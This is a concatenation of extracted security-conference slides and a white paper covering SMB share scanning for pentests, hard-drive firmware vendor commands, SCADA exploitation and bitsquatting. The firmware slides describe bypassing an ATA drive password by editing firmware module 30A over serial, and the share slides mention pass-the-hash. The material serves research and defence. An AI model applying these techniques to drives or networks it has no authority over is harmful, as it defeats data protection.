(http://support.microsoft.com/kb/954422) Shares - Permissions Discretionary Access Control List (DACL) REVISION:1,OWNER:2K8-WIN7-01\ShareEnumUser1, GROUP:PROD\Domain Users, ACL:2K8\shareenumdomuser1:0/16/0x001f01ff Access Control Entry (ACE) BUILTIN\Administrators:0/0/0x001f01ff Shares - Permissions Shares Read View files & folders View files & folder contents Change Add files & folders Change data in files Delete folders and files Full Control Change NTFS permissions NTFS Full Control Modify Read & Execute List Folder Contents Read Write Special Permissions … Shares - Permissions Shares - Permissions Special Permissions Traverse Folder/Execute File List Folder/Read Data Read Attributes Read Extended Attributes Create Files/Write Data Create Folders/Append Data Write Attributes Write Extended Attributes Delete Subfolders and Files Delete Read Permissions Change Permissions Take Ownership Shares - Permissions Attributes READONLY HIDDEN SYSTEM ARCHIVE TEMPORARY COMPRESSED (Directory Only) OFFLINE NOT_CONTENT_INDEXED Extended Attributes Custom and starting to be used in Windows 8 Shares - Permissions Access Masks Generic Access Rights Standard Access Rights File and Directory Access Rights DOS Mode Flags: Read Only, Hidden The Problem Share scanning can be a pentester’s best friend But… Current tools have a variety of issues Does not support all authentication mechanisms (NTLMv2 & NTLMSSP) Can be very noisy, get us caught S…L…O………W Only pulls information at the top level of the share Why We Scan Shares Sensitive Data (Obviously!) \HR \IT \Backups \Source System Fingerprinting What kind of shares does this system have? What does that tell me about the system? Why We Scan Shares Recon NETLOGON & SYSVOL Windows Deployment Services Images and Credentials Why We Scan Shares Credential Reuse Is the local administrator password reused? Do all systems have their local administrator renamed to “AdminWhatAdmin” and have the same password? Does the local “ITHelpDesk” account exist everywhere with a password we’ve found? Why We Scan Shares Local Administrator Access Where Do I Have Admin on a box? Does “Domain Users” have Admin somewhere? What about a single user? Share Scanning Tools Nmap NSE (smb-enum-shares) SysInternal’s ShareEnum Nessus Metasploit SMBClient WinShareEnum (github.com/nccgroup/WinShareEnum) Manually though explorer or net use Our Tool Why implement our own protocols, someone else already has… Samba. We’re using the same libraries as smbclient, but its much faster to go native than parse command line output. Supports the same authentication methods that Samba does (NTLMv2 & NTLMSSP!) Our Tool Gathers DACLs and parses ACEs for each object Able to recursively load subdirectories and files CSV output so you can filter easily Supports Anonymous, Regular Creds, and Pass the Hash Demo Or a video of a demo… Demo 1: Local Administrator Password Reuse Demo 2: Sensitive Shares Demo 3: Recursively enumerating a share https://www.github.com/emperorcow/shareenum Also, if you know about the Samba RPC and IDL code, we’d love to buy you a beer. Questions? The End Lucas Morris => [email protected] => @lucasjmorris => github.com/emperorcow Michael McAtee => [email protected] => @michaelmcatee => github.com/jmmcatee https://github.com/emperorcow/shareenum
pdf
解析 儲存embedded架構原理理實現漏洞洞與反制 傳台灣某公司主控 SSD 藏後⾨門,”銀監會要求調查" 這是真實的嗎? 儲存裝置有後⾨門嗎? 如果有,哪⼜又是怎樣的狀狀況,我們要怎樣防範? 前⾔言 Thx 
 Hitch 2015 ,2012 講師
 ⼯工信部⾼高級資料恢復⼯工程師
 ACELab Raid ,Flash 認證
 OSSLab 開放軟體實驗室創辦⼈人 講師介紹 儲存裝置上的嵌入式架構 CPU Core +RAM ROM 碟片上的韌體架構 硬碟載入 啟動流程 (以WD為範例例) • MCU ROM bootstrap • 內部或是外在SPI ROM • 碟片上的Module 01 Index 碟片上ATA 微代碼( Module 11) • 碟片上其他完整微代碼+匹配參參數 • 所以硬碟如同⼀一個 embedd system 不同的是 儲存韌體地⽅方會⼆二個位置ROM跟碟片 WD 模塊列列表 硬碟embeddedsystem 架構 •模塊是硬碟碟片上韌體跟匹配參參數分類 •比如說 序號,型號,ATA密碼是存在專⾨門 模塊,⽽而不是在PCB •有分重要級數 重要模塊⼀一丟失 資料⼀一 去不復返 中斷硬碟啟動流程 硬碟安全系統正常啟動 就會進入 安全系統鎖住硬碟 韌體損壞硬碟則是載入錯誤韌體到⼀一半,造成硬碟本體當 機. 因此 打斷正常啟動流程 
 可⽤用於破解儲存安全保護與資料救援嚴重損壞韌體
 公開的T10 ⽂文件就有說明 Something (e.g., a bit, field, or code value) that is not defined by the standard and may be used differentlyn various implementations.
 讀寫韌體,ROM操作等特別操作就要⽤用⼯工廠指令集
 ⼯工廠指令集的原由:⽣生產與維修 ATA Vendor-specific command (⼯工廠指令集) CDB (Command Descriptor Block) 儲存裝置安全保護 ATA 保護 
 AES 加密 韌體 保護 ATA 加密 AES 加密 WD AES 暴暴⼒力力破解 我在路路上撿到⼯工廠指令⼿手冊 請你跟我這樣做(⼀一) 請你跟我這樣做(⼆二) •Serial UART 應⽤用: •Linux終端操作 •路路由器或者ADSL韌體升級 •硬碟低階操作維修 •單晶片 (MCU) 程式下載,如STC 51單晶片 •需要的線材與⼯工具 •杜邦接頭(⺟母), 1P的三根 •莫⼠士端⼦子(⺟母)2.00mm, 4P排座 •USB to TTL板 (拿Arduino也可替代) Serial TTL (UART)通訊 • 以⼀一台ARM NAS 做範例例 逆向Serial UART腳位 • 最好抓的是GND • 先將embeeded system斷電 GND⼀一是⼤大塊⾦金金屬點 或是電源座 負極. 會導通 數位型三⽤用電表轉 到 ⼆二極體測試檔位(可做導通測試 有通會發聲) • 另外⼀一邊探針 則每個Pin都試, 發 現第⼀一根有跟接地點導通, 會翁 鳴。 因此第⼀一根為GND GND腳位判定 • 這時embedded system 再通電 把探針⼀一根固定放 GND 測試每根與第⼀一根已知 (GND) 相通電呀 發現當 1,4 腳位通電時3.3V或5V • 表⽰示第四根為 VCC 。RX TX , 就 為中間⼆二根。先顯 ⽰示有字串串再調速度 ⽤用2400~115200 慢慢試 分析出腳位 Seagate UART接線法 發出VSC與串串⼝口指令的設備 ⼯工廠串串⼝口指令 前⾯面⼯工廠⼿手冊有讀寫韌體操作指令 
 使⽤用Terminal 並且⽀支援Y-Modem協定的軟體 指令:
 r 為讀取硬碟韌體系統⽂文件
 w 為寫入硬碟韌體系統⽂文件 r30a==>讀出模塊30a, w30a==>寫入模塊30a 硬碟韌體讀寫指令 抓取所有硬碟韌體⽂文件 翻遍了了技術⽂文件找不到哪邊有密碼相關module
 就全部抓取出來來 把所有抓出的韌體區塊做比對 發現韌體的30A系統 ⽂文件存放ATA密碼
 找⼀一樣型號硬碟30A
 再⽤用終端回寫回去 
 即可關閉ATA密碼 看看專業怎做的 發現PC3000 並不是 使⽤用修改 ATA密碼並 沒有改變 但是有類似 ATA密碼開關,位置在 30a韌體系統⽂文件 offset 0x56和0x57
 只要改為0000 
 再⽤用終端回寫回去 
 即可關閉ATA密碼 分析專業設備的⽅方法 Live demo ⽤用串串⼝口破解IBM 筆記型電腦 硬碟加密 1.熱交換
 2.ROM中的韌體缺陷表
 都是利利⽤用打斷正常啟動流程 其他⽅方法 如何獲得硬體⽤用的⼯工廠指令集 泄露的⼯工廠技術⽂文件 測錄會發出⼯工廠指令軟硬體
 逆向⼯工程 窮舉Fuzzer指令集 泄露的⼯工廠技術⽂文件 比如剛剛前⾯面希捷的⽂文檔
 就有詳細終端指令與ATA ⼯工廠指令。 Sniffer會發出VSC 的軟硬體 ⼀一.⼯工廠內部軟體 ⼆二.韌體升級軟體 三.非官⽅方資料救援設備硬體與軟體 天下⽂文章⼀一⼤大抄 發出VSC的非原廠硬體 SATA 邏輯分析儀 資安硬體界的⿊黑吃⿊黑 直接分析rom bin,通過IDA反組譯韌體 embedded系統⼤大部分是基於ARM或者MIPS內核的CPU的 
 可⽤用IDA來來反組譯 韌體裡⾯面通常有⼀一個命令解析引擎 反組譯命令解析引擎的代碼,就可以知道設備⽀支持哪些指令
 包括vender commands,並且能推導出commands詳細的參參數 逆向⼯工程靜態分析 有動態反彙編的,就是通過連接JATG調試接⼝口,這樣可以動 態運⾏行行,並動態下中斷點 使⽤用JTAG動態反組譯 窮舉可能的命令代碼,ATA命令code裡⾯面有專⾨門的reserved號段 和Vendor Spec號段,這些就是專⾨門為vender commands保留留的 通常vender commands就會使⽤用這些保留留命令碼段 會寫成測試⼩小⼯工具,然後再硬盤上⾯面跑 如果監測到硬碟有反應,就記錄下來來,最後⼈人⼯工來來篩選這些結果,看 看有沒有⽤用得上的東⻄西 窮舉Fuzzer指令集 硬體Hash反制 
 關掉硬體Port 硬碟韌體防火牆 NSA 美國國安局的陰謀 嵌入式系統 攻與防反制 硬體Hash反制 應⽤用與原理理必須相結合
 Q&A 結束 WD 硬碟重要參參數 ROM微代碼版本號 •模塊是硬碟碟片上韌體跟匹配參參數分類 •比如說 序號,型號,ATA密碼是存在專⾨門 模塊,⽽而不是在PCB •有分重要級數 重要模塊⼀一丟失 資料⼀一 去不復返 模塊..(module) • https://www.os3.nl/_media/2013-2014/courses/ ot/jan_niels.pdf • 軟體有防火牆,韌體也有防火牆 阻斷 軟體對硬碟發出 VSC指令 韌體防火牆Firewall
pdf
Robert Imhoff-Dousharm US Resident Las Vegas, NV, USA [email protected] Professional Sound Byte - Robert has been working with computer systems for over 11 years. He has worked in the security field for the better part of 4 years. His most recent, has been working with credit card technologies, and the security behind them. He has recently been informed that he will be published in the September 2003 issue of Transaction World Magazine (http//www.transactionworld.com), in regards to credit card networks. Currently Robert works with a major ePayment Gateway, and works as a credit card security auditor privately. Personal Sound Byte - Living in Las Vegas, NV, USA Robert enjoys exploring sin city and every little sin it has to offer. On a sane level he also enjoys hiking at Red Rock Canyon, political talks at local coffee shops, and spending as much time as he can with his 4 year old son, Orion. Computer Sound Byte - Robert tends to be as much a freak about computers as the next guy, well, at DefCon anyway. He currently hosts would be dot com sites from his bedroom, about 6 .com pages, including His home page - http//www.hackajar.com His Consulting firm site - http//www.shebangsoft.org Dormant Saturn Enthusiasts site - http//www.saturnclubs.com Friends Ever Quest guild site - http//www.guardianlords.com / http//www.abandonguild.com (ironically abandoned!) Friends would be "project" - http//www.vegascpu.com His room looks like a small data center 2 cable modem uplinks 1 Wireless ISP uplink 2 Switches 1 802.11b "Hot Spot Ready" Wi-Fi WEP 2 DNS servers 1 Firewall (BSD) 2 Apache servers (1 used as pre-production and storage) 1 Test bed BSD box 1 "Primary" computer (the grocery getter') 1 Sun Ultra 5 1 IBM PS/2 Model 80 386 ALIVE AND KICKIN!!! 3 Computer unused (they need to adopt HDD's) Complete with 3 Circuit breakers @ 50AMPS and UPS's to keep it all alive. Now it may be true that he has no 'real' reason for running all this gear, it's still an expensive hobby he enjoys mantaining (your still a freak).
pdf
Exploiting SCADA Systems Jeremy Brown Vulnerability Research Engineer @ Tenable Attack Vectors via Software Vulnerabilities Client-side attacks from web browsers, e-mail, and malicious servers Server-side attacks from the internet or internal network Clickjacking!? So.. whats wrong? Security has been implemented as an add-on instead of being build around the product from the ground up Systems are typically installed for long term, and software upgrades may require new hardware Something somewhere is connected to something that is connected to the Internet Vendors can take their time with updates, and managers may also take their time updating There are a ton of vulnerabilities in SCADA software! Who may find the bugs? Employees Hackers (up to no good) Security Researchers Anyone who cares to look really.. Sploitware A framework designed specifically to penetration test SCADA systems Similar concept to Metasploit or CANVAS, yet focused on SCADA software Can check systems for potentially vulnerable software Exploitation is optional but readily available Methods for identifying vulnerabilities? Manual testing to fuzzing to reverse engineering R&D findings range from RCE to DoS to Integrity Loss DEMO! Recommendations Vendors... Try to break it before you ship it! Clients... Do a security evaluation before you make the purchase. SCADA software can be just as vulnerable as your typical download.com application. Thank you
pdf
© 2013 Cisco and/or its affiliates. All rights reserved. Page 1 of 20 White Paper Examining the Bitsquatting Attack Surface Bit errors in memory, when they occur in a stored domain name, can direct Internet traffic to the wrong domain potentially compromising security. When a domain name one bit different from a target domain is registered, this is called “bitsquatting”. This paper describes several previously unknown forms of bitsquatting, and also proposes potential mitigations which do not involve the mass registration of additional bitsquat domains. The conclusion is that the possibility of bitsquat attacks is more widespread than originally thought, but several techniques exist for mitigating the effects of these new attacks. Introduction In the early 1980s, the 7-bit ASCII table became the de facto means of representing text inside computers. Several of the specific bitsquats that are possible today owe their very existence, or their non-existence, to the layout of the ASCII table. The 7-bit ASCII code is actually not a product of modern computers, but is descended from the early 5-bit “Baudot” codes used in the late nineteenth century and early twentieth centuries by printing telegraph machines. When computers became much more prevalent during the 1950s, it became necessary to standardize the representation of characters between different devices so they could better communicate. By the 1960s, the 5-bit codes used by the telegraph companies had given way to multiple 6-bit codes. Finally in 1963, a seven bit ASCII code was born which was essentially an amalgamation of the FIELDATA military specification, plus the existing ITA-2 telegraph alphabet [1][2]. If you analyze the layout of the ASCII table, some remnants of the old teletypes can be found. For example occupying the very last slot in the 7-bit ASCII table is the “DEL” or Delete character. In the olden days of punched tape and printing telegraphs, errors could be corrected by punching all the possible holes in a particular row of the tape. So, to this day the “DEL” character occupies the very last character in the 7-bit ASCII code, as it is represented by a string of all ones. It is in the context of the ASCII binary encoding of characters that we find our potential bitsquats – domains that are one binary digit different than another domain. © 2013 Cisco and/or its affiliates. All rights reserved. Page 2 of 20 A memory error is a condition that occurs any time one or more bits being read from memory have changed state from what was previously written. Memory errors can be caused by a variety of conditions including cosmic radiation, operating devices outside their recommended environmental specifications, defects in manufacturing, and even nuclear explosions. While any bit in memory may be subject to errors, it is when bit errors occur inside of a stored domain name that subsequent Internet traffic may be misdirected. For example, by changing only one bit in the underlying ASCII representation, a popular target domain such as “twitter.com” can become the bitsquat domain “twitte2.com”. An attacker can take advantage of these bit errors by registering the bitsquat domain, and then intercepting data destined for the target domain, returning malicious data to the client, or performing other similar malicious activity. In the original published research on bitsquatting, Dinaburg noted that the majority of the estimated 600,000 memory errors per day across the Internet are useless to a remote attacker [3]. Dinaburg therefore concluded that bitsquatting is most effective against the most frequently resolved domain names, since those domains are the most likely to appear in memory when bit errors occur. Our research supports this claim. However Dinaburg’s estimate of bit error rates was extremely conservative [4] and since that time most consumer grade computing devices being manufactured continue to lack error correcting memory. Further, the amount of memory per device and number of devices connected to the Internet are both increasing. Cisco estimates that there will be 37 billion “intelligent things” connected to the Internet by 2020 [5]. This is all good news for bitsquatters, as it means that domains that were previously not considered “popular” enough to attack will actually produce a useful amount of bitsquat traffic. Additionally, it is not just the domain names themselves which are susceptible to bit errors in memory. Bit errors can and do occur anywhere. Sometimes bit errors occur simultaneously in multiple different locations. In fact, Dinaburg’s collected DNS data showed bit errors occurring in requested DNS record type values (ex. A, MX, NS, etc.) [6]. It is a certainty that the effects of bit errors are not confined to domain names themselves. Therefore bit errors must also affect commonly used Internet application layer protocols which rely on domain names, such as SMTP, SIP, or HTTP for example. This all adds up to a landscape where bitsquatting attacks are more practical than ever before. In Section I, this paper demonstrates some previously unknown bitsquatting techniques using examples from real bitsquat domains that have been registered. Section II, suggests potential bitsquatting mitigations that can be used to help minimize, or even eliminate the potential for bitsquatting attacks altogether. © 2013 Cisco and/or its affiliates. All rights reserved. Page 3 of 20 Section I – New Bitsquatting Attack Vectors Subdomain Delimiter Bitsquatting RFC1035 declared the valid syntax for domain name labels, which was later refined under RFC1123. The following BNF notation describes valid domain name label syntax. Essentially, the only allowed characters are A-Z, a-z, 0-9, and the hyphen. <domain> ::= <subdomain> | " " <subdomain> ::= <label> | <subdomain> "." <label> <label> ::= <let-dig> [ [ <ldh-str> ] <let-dig> ] <ldh-str> ::= <let-dig-hyp> | <let-dig-hyp> <ldh-str> <let-dig-hyp> ::= <let-dig> | "-" <let-dig> ::= <letter> | <digit> <letter> ::= any one of the 52 alphabetic characters A through Z in upper case and a through z in lower case <digit> ::= any one of the ten digits 0 through 9 However when checking for bitsquat domains, limiting the search to characters in <let-dig-hyphen> neglects an important character that is also valid inside domain names: the dot character. This first new bitsquatting technique relies on bit errors which result in a letter “n” (binary 01101110) becoming a dot “.” (binary 00101110) and vice- versa. The technique functions because dots are used to delimit subdomains. Figure 1. A comparison of the ASCII representation of the dot '.' versus the letter 'n' There are actually two distinct varieties of subdomain delimiter bitsquats. The first type occurs when there is a letter “n” present in the second level domain name. Domain names that contain a letter “n” character with 2 or more characters after the letter “n” are potential targets. The resulting bitsquat domain is shorter than the target domain. An example is the target domain “windowsupdate.com”. When the letter ‘n’ in this domain changes to a dot, the traffic is directed at the bitsquat domain "dowsupdate.com" instead as demonstrated in Figure 2. © 2013 Cisco and/or its affiliates. All rights reserved. Page 4 of 20 Figure 2. An example from the bitsquat domain "dowsupdate.com" The second variety of subdomain delimiter bitsquat lengthens the 2nd level domain name and relies on the presence of 3rd level subdomains. An attacker can convert the dot separating the 3rd and 2nd level domain names into a “n” character, and register the resulting 2nd level domain. For an example, consider the hostname “s.ytimg.com” which is a host at the content delivery network used by YouTube. The resulting bitsquat domain is “snytimg.com”. Indeed, bitsquat traffic is going to this domain, and the HTTP requests for images have a Referrer HTTP header set to YouTube as shown in Figure 3. © 2013 Cisco and/or its affiliates. All rights reserved. Page 5 of 20 Figure 3. An example using the bitsquat domain 'snytimg.com" Even less popular domains are susceptible to these subdomain delimiter bitsquatting techniques. Below are some example DNS requests meant for the State of New York’s domain: state.ny.us. Given that the .us TLD is also available for general public registration, it makes little sense for government organizations to use these TLDs because of bitsquatting or malicious typosquatting possibilities. This attack against state.ny.us would not be as easy if the domain was hosted at .gov instead; the more restrictive .gov registration process shields organizations that are entitled to use it from casual attackers. Figure 4. An example using the bitsquat domain "statenny.us" URL delimiter squatting – “/” and “o” Another useful technique for identifying potential bitsquat domains is to consider not only the valid characters in the domain names themselves, but also to consider the context in which a domain name might appear. One very popular context for domain names is within a URL. Inside a typical URL, forward slash characters “/” will act as a delimiter separating the scheme from the hostname from the URL path. The forward slash character (binary 00101111) can by the flip of one bit become the letter “o” (binary 01101111), and vice-versa. Figure 5. A comparison of the ASCII representation of the forward slash '/' versus the letter 'o' © 2013 Cisco and/or its affiliates. All rights reserved. Page 6 of 20 The first bitsquatting technique in this category relies on the letter "o" inside the target domain becoming a forward slash, effectively terminating the domain name. This form of bitsquat is possible whenever the letter "o" appears in a domain name, and the preceding characters form a valid domain name. For an example, consider the URL https://ecampus.phoenix.edu/. If the letter "o" in the word “phoenix” is flipped to a “/” in memory, then the resulting corrupted URL will be https://ecampus.ph/enix.edu/. The traffic for that URL will be directed to the Philippines domain ”ecampus.ph” instead of “phoenix.edu”. Perhaps the most interesting aspect of this specific technique is that it works against target domains that are registered under different, non-public gTLDs like “.edu”, “.gov”, or “.mil”. Figure 6. An example using the bitsquat domain "ecampus.ph" And here is another example of the same technique, this time stemming from the site “trading.scottrade.com”: Figure 7. An example using the bitsquat domain "trading.sc" The bidirectional nature of bits flipping means that the slashes that delimit the parts of the URL can also flip to become a letter “o”, however only bit flips of the second or third slashes will produce a viable bitsquat. Bit flips of the second slash yield bitsquat domains when no 3rd level domain names are generally present. For example, if the second slash in the URL http://slashdot.org/ flips a bit in memory it can become http:/oslashdot.org/. While that syntax is not a valid URL syntax, modern browsers helpfully correct the error in the double slash authority delimiter, and direct traffic to the bitsquat domain “oslashdot.org”. Figure 8. An example using the bitsquat domain "oslashdot.org" © 2013 Cisco and/or its affiliates. All rights reserved. Page 7 of 20 When no 3rd level subdomain is used, the bitsquat domain is formed by simply adding the letter “o” to the beginning of that 2nd level domain name. Domains that begin with the letter “o” are also at risk in a similar fashion. For if the URL http://oreilly.com/ experiences a bit error in memory, and the leading letter “o” becomes a slash, then the resulting URL would be http:///reilly.com/. This is bad syntax, but yet again, the error in the double slash authority delimiter is in fact corrected by the browser, and the traffic directed to racle.com. Finally, bit errors that corrupt the 3rd slash in a URL into a letter “o” are 100% dependent on the path in the URL to terminate in a valid domain name. For an example, consider a hypothetical URL such as: http://www.example.com/cisco.com?stuff=1 If the 3rd slash experiences a bit error and becomes a letter "o", the URL would instead read: http://www.example.comocisco.com?stuff=1 This URL would direct its traffic to the bitsquat domain "comocisco.com". These types of bitsquats are exceedingly rare, but definitely possible if the URL had the right format and was popular enough. URL delimiter squatting – “#” and “c” When considering the other valid delimiter characters within a URL that might result in a bitsquat, we must also include the “#” character. Typically, inside a URL the pound character “#” will denote anchor tags within the current web page. It is possible for the letter “c” to change one binary digit to become the “#” character, and when this happens inside of a domain name it can create additional bitsquats. While strictly speaking the syntax is not valid, many browsers will helpfully correct the link, as indicated by the status bar at the bottom. Figure 9 Notice the hover link at the bottom. The traffic will not be directed to uscg.mil. © 2013 Cisco and/or its affiliates. All rights reserved. Page 8 of 20 Figure 10 This time the c in .cn flips to a "#". Despite the trailing dot after “com” the bitsquat link still functions TLD bitsquatting A search for bitsquats cannot be focused exclusively on 2nd level domain names. If bit errors can occur anywhere, then they can also occur inside the Top Level Domain (TLD) of a domain name. Most of the generic TLDs (gTLDs) have no bitsquats whatsoever, however there are two gTLDs that contain URL delimiter type bitsquats stemming from the presence of the letter “o”. These are the gTLDs “.pro” and “.coop” with corresponding URL delimiter type bitsquats at the country code TLDs (ccTLDs): .pr (Puerto Rico) and .co (Colombia) respectively. Fortunately, the limited popularity of the .pro and .coop gTLDs inside URLs seems to preclude the possibility of finding many useful bitsquats in this space. So generally gTLDs are safe, but what about other TLDs? There happen to be several ccTLDs where bitsquats exist. It is interesting to note that some ccTLDs have no valid bitsquats while other ccTLDs have many. After surveying all valid Internet TLDs and checking the number of possible bitsquats, the following was found: All 44 Internationalized Domain Name (IDN) TLDs are safe 4 ccTLDs are safe (nl –Netherlands, py –Paraguay, uy –Uruguay, za –S.Africa) 15 ccTLDs have one bitsquat (incl. uk –United Kingdom, hk –Hong Kong) 33 ccTLDs have two bitsquats (incl. us –United States, de –Germany, jp –Japan) 43 ccTLD have three bitsquats (incl. fr – France, no – Norway, va –Vatican 56 ccTLDs have four bitsquats (incl. ru –Russia, kr –South Korea) 43 ccTLDs have five bitsquats (incl. ca –Canada, it –Italy, eu –Europe) 37 ccTLDs have six bitsquats (incl. es –Spain, gr –Greece, in –India) 14 ccTLDs have seven bitsquats (incl. co –Colombia, ch –Switzerland) 2 ccTLDs have eight bitsquats (cm –Cameroon, cn –China) 1 ccTLD has nine bitsquats (cg –Republic of Congo) 1 ccTLD has ten bitsquats (ci –Ivory Coast) © 2013 Cisco and/or its affiliates. All rights reserved. Page 9 of 20 One ccTLD bitsquat that was registered and tested was a ccTLD bitsquat of the domain “kremlin.ru” (Russia). The bitsquat domain in this case is ‘kremlin.re’ (Reunion Island). Figure 9 is an example of a bitsquat http request and in Figure 10 is a screen shot of the page that was hosted on the kremlin.ru domain at the time. Figure 11. An example using the bitsquat domain "kremlin.re" Figure 12. The intended web page at kremlin.ru. An example of another bitsquat domain that was registered for which bitsquat-related requests were received is europa.mu. The domain europa.mu is one of the ccTLD bitsquat domains of europa.eu, a domain belonging to European Parliament. Figure 11 demonstrates some DNS MX requests received for subdomains of europa.eu. © 2013 Cisco and/or its affiliates. All rights reserved. Page 10 of 20 Figure 13. An example using the bitsquat domain "europa.mu" Future gTLD Bitsquatting Besides the bitsquatting that is possible using current TLDs, in 2013 ICANN is approving a large number of new gTLDs. Some of these proposed new gTLDs contain subdomain delimiter bitsquats for the entire TLD. Possessing one of these would allow the attacker to mount a bitsquat attack against all domains registered under the target gTLD. .cleaning -> clea.ing (new gTLD .ing) .exchange -> excha.ge (Georgia) .helsinki -> helsi.ki (Kiribati) .holdings -> holdi.gs (S.Georgia and S.Sandwich Islands) .international -> internatio.al (Albania) .tennis -> ten.is (Iceland) © 2013 Cisco and/or its affiliates. All rights reserved. Page 11 of 20 Additionally, several of the proposed new gTLDs will have URL delimiter bitsquats in ccTLD space. Here is a list based on the letter “o”. .boo -> .bo (Bolivia) .bio -> .bi (Burundi) .cooking -> .co (Colombia) .cool -> .co (Colombia) .cloud -> .cl (Chile) .ecom -> .ec (Ecuador) .food -> .fo (Faroe Islands) .football -> .fo (Faroe Islands) .global -> .gl (Greenland) .kyoto -> .ky (Cayman Islands) .ngo -> .ng (Nigeria) .photo -> .ph (Philippines) .photography -> .ph (Philippines) .photos -> .ph (Philippines) .prof -> .pr (Puerto Rico) .property -> .pr (Puerto Rico) .properties -> .pr (Puerto Rico) .scot -> .sc (Seychelles) .shop -> .sh (St. Helena) Finally here is a list of several proposed new gTLDs that have URL delimiter bitsquats in ccTLD space, this time based on the bit flips of the letter “c” bit flipping into a “#”. .rocks -> .ro (Romania) .auction -> .au (Australia) .doctor -> .do (Dominican Republic) .accountant -> .ac (Ascension Island) .archi -> .ar (Argentina) .architect -> .ar (Argentina) .recipes -> .re (Reunion Island) .soccer -> .so (Somalia) .inc -> .in (India) © 2013 Cisco and/or its affiliates. All rights reserved. Page 12 of 20 Past Bitsquatting: Domainers the first to capitalize bitsquat domains Looking at the whois records for some of bitsquat domains that have already been registered also yields some interesting findings. For example, the bitsquat domain wwwnfacebook.com was registered back in 2009, a full 2 years before the initial research paper on bitsquatting was published. The same is true for the domain “otwitter.com”. Thus some of the earliest bitsquat domain registrations have come from "domainers" -- organizations that register domain names to place ads or redirect traffic for profit. These domainers essentially noticed and capitalized on traffic destined for bitsquat domains long before any bitsquatting research was ever conducted. Domainers might show us just how popular a domain name must be in order to have a worthwhile number of bitsquat requests. There will be a threshold of domain popularity at which the domainers still make money off registration of the bitsquat domain due to wayward traffic. The tools used by domainers to analyze potential domains for purchase would also be quite valuable to potential bitsquatters as well. © 2013 Cisco and/or its affiliates. All rights reserved. Page 13 of 20 Section II - Mitigation of bitsquatting attacks The original research by Dinaburg suggested two possible mitigations. First was that self-registration of the bitsquat domain variants is one good way to remove the possibility of having your data misdirected. Second was the prescription to install ECC memory. Neither of these mitigations are optimal. The self registration can be costly to maintain, depending on the length of the domain name, and there is always the possibility that someone has already beaten you to the domain name. The prescription for ECC memory sounds nice on the surface, but in reality the entire base of installed devices would have to upgrade simultaneously for bitsquatting to be prevented worldwide. The good news is that these are not the only techniques a network defender can use to protect their users from accidentally misdirecting their Internet traffic. There are additional techniques that can be used. With sufficient adoption, these techniques could actually eliminate the bitsquatting problem almost completely. Choose a TLD which has no bitsquats With the exception of the URL delimiter bitsquats available for .pro and .coop, there are no TLD bitsquats available for the currently available gTLDs or IDN TLDs (including the newly approved gTLDs from 2013). So, they would all make excellent choices for eliminating potential bitsquats in the TLD. By choosing a domain at one of these TLDs you can effectively remove any possibility of a bit error in the TLD from misdirecting traffic. If using a ccTLD, choose your domain name carefully Having the ccTLD registry restrict the 2nd level domains that can be registered, like the ccTLD .uk (United Kingdom) does, is not necessarily an effective way to prevent bitsquats. In fact it can be even more dangerous. For only a few thousand dollars, one could register ltd.tk, plc.tk, sch.tk, ac.tk, mod.tk and tld.tk from Tokelau. Then the attacker will receive bitsquats from every domain registered under the corresponding second level domains ltd.uk, plc.uk, sch.uk, ac.uk, mod.uk and tld.uk. mod.uk corresponds with the UK’s Ministry of Defense, and all the one bit errors occurring in that .uk ccTLD are going to a single location. Another ccTLD NIC with a similarly restrictive 2nd level domain policy is the ccTLD .br (Brazil). A domain like eng.cr is still available in Costa Rica, and that enables a bitsquatter to receive traffic from every single domain registered under eng.br. © 2013 Cisco and/or its affiliates. All rights reserved. Page 14 of 20 Figure 14. A list of *available* domains in Tokelau which correspond to reserved 2nd level domains under .uk Fortunately, many ccTLDs that might be good locations for registering bitsquat domains do not allow certain common keywords (such as “www”, “gov”, etc.) to be registered, or do not allow 2nd level domains shorter than 3 characters, making these types of names good choices for use as 3rd level subdomains, and good protection against the URL delimiter bitsquatting techniques described in Section I. There are also several other ccTLDs with restrictions such as local presence or citizenship in a particular country [7]. Though not impossible, these restrictions complicate registration of certain bitsquat variants. © 2013 Cisco and/or its affiliates. All rights reserved. Page 15 of 20 Change/rotate subdomains frequently – the moving target defense Both the domain delimiter and URL delimiter bitsquatting attack vectors can make use of a domain’s 3rd level domain name label. Clever choice and use of 3rd level subdomains can thwart attempts by bitsquatters who use bitsquatting techniques targeted at 3rd level domain names. If a 2nd level domain eliminates entirely its use of 3rd level subdomains (a.k.a. “naked” domains), then registering a URL delimiter bitsquat in a ccTLD, and registering a domain delimiter bitsquat using a 3rd level subdomain are both impossible. This does, however, expose you to URL delimiter bitsquats based off of the second slash of a URL, plus an additional bitsquat if your domain happens to begin with the letter “o”. As of December 2012 the team from no-www.org have catalogued 60,000 domains that do not use 3rd level subdomains [8]. While eliminating use of subdomains helps eliminate some of the new attacks, there are actually even better mitigations. A more effective technique is to subdivide your 2nd level domain traffic among a large number of 3rd level domains. Each subdomain takes on a small slice of the overall potential bitsquat traffic and therefore becomes much less likely to result in a successful bitsquat attack. Using a large number of subdomains creates much more work and expense for a potential bitsquat attacker. If next, those subdomains are changed or updated with any frequency, the bitsquatter will have practically no chance at a successful attack. For a real world example, consider amazon.com. Amazon includes in their web pages content from a domain named cloudfront.com. The 3rd level domain names here normally would make great URL delimiter bitsquats because the “o” in cloudfront yields a valid ccTLD in .cl (Chile). Although this would seem at first to be a great target for a bitsquat, Amazon changes the subdomain at cloudfront.com frequently enough, that this thwarts attempts to capitalize on bitsquat traffic. By changing the 3rd level domain name frequently enough Amazon leaves a very small window of time in which to set-up and collect bitsquat traffic. This particular technique is actually the most effective protection against both domain delimiter and URL delimiter based bitsquat attacks. Figure 15. Example code from amazon.com showing potential URL delimiter bitsquats at cloudfront.net © 2013 Cisco and/or its affiliates. All rights reserved. Page 16 of 20 Use relative instead of absolute references in HTML Bit errors, being indiscriminate as to where they occur, will affect domain names that are frequently loaded / accessed from memory. Thus to reduce the exposure to any potential URL delimiter bitsquats, it is best if the links and content loaded from HTML pages is referenced in a relative fashion instead of an absolute fashion. By using the current URL as a base href or specifically establishing a base href for an HTML page, the relative hrefs contained in the rest of the HTML document will eliminate many of the places where bitsquats might occur. The domain name will appear only once per HTML page. The downside here is that if a bit error does occur in the base href, then all links in the document would go to the same bitsquat domain. Figure 14 shows some of the HTML the source of the facebook.com website. Facebook seem to go out of their way to include an absolute link in each href. Figure 16. Some source code from facebook.com website Use CAPITAL letters in URLs The ASCII table is laid out so that the lowercase alphabet is one bit different from the uppercase alphabet. The capital letters ‘A’ (01000001) through ‘Z’ (01011010) differ by only one bit from their 